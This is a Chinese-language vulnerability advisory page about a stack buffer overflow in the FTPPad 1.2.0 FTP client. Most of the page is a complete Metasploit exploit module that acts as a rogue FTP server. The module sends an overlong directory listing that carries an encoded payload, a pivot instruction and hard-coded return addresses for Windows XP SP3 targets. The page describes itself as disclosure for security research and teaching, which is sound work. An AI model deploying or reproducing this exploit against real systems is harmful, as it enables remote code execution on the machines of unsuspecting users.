安全研究

安全漏洞
FTPPad 1.2.0栈缓冲区溢出漏洞

发布日期:2010-10-20
更新日期:2010-10-20

受影响系统:
FTPPAD FTPPAD 1.2.0
FTPPAD FTPPAD
描述:
FTPPad是一个包含HTML编辑器的免费FTP上传工具。

FTPPad客户端在实现上存在安全漏洞,远程攻击者可利用此漏洞破坏内存、造成缓冲区溢出。

<*来源:corelanc0d3r (corelanc0d3r@gmail.com
  
  链接:http://www.chip.de/downloads/FTPPad-1.2.0_12993921.html
        http://secunia.com/advisories/product/32700/
        http://www.exploit-db.com/exploits/16726/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

corelanc0d3r (corelanc0d3r@gmail.com)提供了如下测试方法:

##
# $Id: ftppad_list_reply.rb 11039 2010-11-14 19:03:24Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking
    include Exploit::Remote::FtpServer
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'FTPPad 1.2.0 Stack Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow FTPPad 1.2.0 ftp client. The overflow is
                triggered when the client connects to a FTP server which sends an overly long directory
                and filename in response to a LIST command.
                This will cause an access violation, and will eventually overwrite the saved extended
                instruction pointer.  Payload can be found at EDX+5c and ESI+5c, so a little pivot/
                sniper was needed to make this one work.
            },
            'Author'     =>
                [
                    'corelanc0d3r'
                ],
            'License'        => MSF_LICENSE,
            'Version'        => "$Revision: 11039 $",
            'References'     =>
                [
                    [ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Payload'        =>
                {
                    'Space'    => 3000,
                    'BadChars' => "\x00\x0a\x2f\x5c\xff\x0c\x0d\x08\x09",
                    'DisableNops' => true,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    #shlwapi sniper + pivot :  MOV DWORD PTR DS:[EDX],EAX + CALL ESI
                    [ 'XP SP3 Professional, English - shlwapi 6.00.2900.5912', { 'Ret' => 0x77FA6556 } ],
                    [ 'XP SP3 Professional, German - shlwapi 6.00.2900.5912' , { 'Ret' => 0x77f86556 } ],
                    [ 'XP SP3 Professional, English - shlwapi 6.00.2900.5512', { 'Ret' => 0x77FA6526 } ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Oct 12 2010',
            'DefaultTarget'  => 0))
    end
    def setup
        super
    end
    def on_client_unknown_command(c,cmd,arg)
        c.put("200 OK\r\n")
    end
    def on_client_command_list(c,arg)
        conn = establish_data_connection(c)
        if(not conn)
            c.put("425 Can't build data connection\r\n")
            return
        end
        print_status(" - Data connection set up")
        code = 150
        c.put("#{code} Here comes the directory listing.\r\n")
        code = 226
        c.put("#{code} Directory send ok.\r\n")
        totalsize = 13000
        foldername = "A" * 24 + payload.encoded + ("A" * (3318-payload.encoded.length))
        #EDX+5c and ESI+5c point at shellcode
        #we control EAX and EIP
        #use value in EAX to write to EDX (to make a jump forward, about 5c bytes)
        #and then jump to ESI (which will then execute the jump forward, to payload)
        foldername << [target.ret].pack('V')  # MOV DWORD PTR DS:[EDX],EAX # ... # CALL ESI
        foldername << "\x41\x41\x75\x5B"  # EAX -> 75 5B = JNZ SHORT -> shellcode
        foldername << " " * (totalsize - foldername.length)
        print_status(" - Sending directory list via data connection")
        dirlist = "drwxrwxrwx    1 100      0         11111 Jun 11 21:10 #{foldername}\r\n"
        conn.put(dirlist + dirlist + dirlist + dirlist)
        conn.close
        return
    end
end

建议:
厂商补丁:

FTPPAD
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.chip.de/downloads/FTPPad-1.2.0_12993921.html

浏览次数:3277
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障